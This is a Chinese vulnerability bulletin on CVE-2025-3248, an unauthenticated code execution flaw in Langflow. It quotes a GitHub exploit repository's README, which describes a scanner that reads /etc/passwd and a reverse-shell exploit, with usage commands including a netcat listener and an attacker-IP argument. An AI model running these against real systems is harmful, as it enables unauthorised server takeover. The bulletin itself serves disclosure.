Langflow AI 未授权远程代码执行漏洞

漏洞信息

漏洞名称： Langflow AI 未授权远程代码执行漏洞

漏洞编号：

• CVE： CVE-2025-3248

漏洞类型： 命令执行

漏洞等级： 严重

漏洞描述： Langflow AI是一个人工智能平台，广泛应用于自动化流程和数据处理任务中，其典型部署场景包括企业级服务和Web应用组件。由于其功能的强大和灵活性，Langflow AI在多个行业中被广泛使用。CVE-2025-3248漏洞是一个严重的未授权远程代码执行（RCE）漏洞，攻击者可以通过向/api/v1/validate/code端点发送特制的payload来执行任意Python代码。这一漏洞的技术根源在于Langflow AI未能正确验证和清理用户提供的输入，导致攻击者可以注入并执行恶意代码。这种漏洞的存在使得攻击者无需任何认证即可远程控制受影响的系统，执行任意命令，可能导致数据泄露、服务中断甚至完全的系统接管。由于漏洞的利用不需要用户交互，且可以通过自动化工具大规模利用，因此对使用Langflow AI的组织构成了极高的安全风险。

产品厂商： Langflow AI

产品名称： Langflow AI

来源： https://github.com/r0otk3r/CVE-2025-3248

类型： CVE-2025:github search

仓库文件

• README.md

来源概述

🚨 CVE-2025-3248: Langflow Unauthenticated Remote Code Execution (RCE)

This repository contains two Python scripts:

• LangflowCheck.py: A scanner that checks for Langflow AI instances vulnerable to CVE-2025-3248.
• exploit.py: A working reverse shell exploit for vulnerable Langflow targets.

🧠 Summary

CVE-2025-3248 is a critical vulnerability in Langflow AI that allows unauthenticated attackers to execute arbitrary Python code remotely via a crafted payload to /api/v1/validate/code.

---

📂 Files

LangflowCheck.py

• Checks if a target is vulnerable by attempting to execute a harmless payload that reads /etc/passwd.
• Can scan a single target or a list of URLs.
• Supports outputting vulnerable targets to a file.

exploit.py

• Sends a reverse shell payload to the vulnerable endpoint.
• Requires attacker IP (lhost) and listener port (lport).
• Logs activity to exploit.log.
• Supports listener check before sending payload.

---

🚀 Usage

1. Install Requirements

pip install -r requirements.txt

2. Run Vulnerability Scanner

Single URL

python3 LangflowCheck.py -u http://target.com
````

Multiple Targets
```bash
python3 LangflowCheck.py -f targets.txt -o vulnerable.txt

3. Exploit a Target

First, start a listener

sudo nc -nvlp 4444

Then, run the exploit:

python3 exploit.py -t http://target.com -l YOUR_IP -p 4444

You should receive a shell if the target is vulnerable.

⚠️ Disclaimer

This exploit is for educational and authorized security testing only. Do not use against systems you do not own or have explicit permission to test.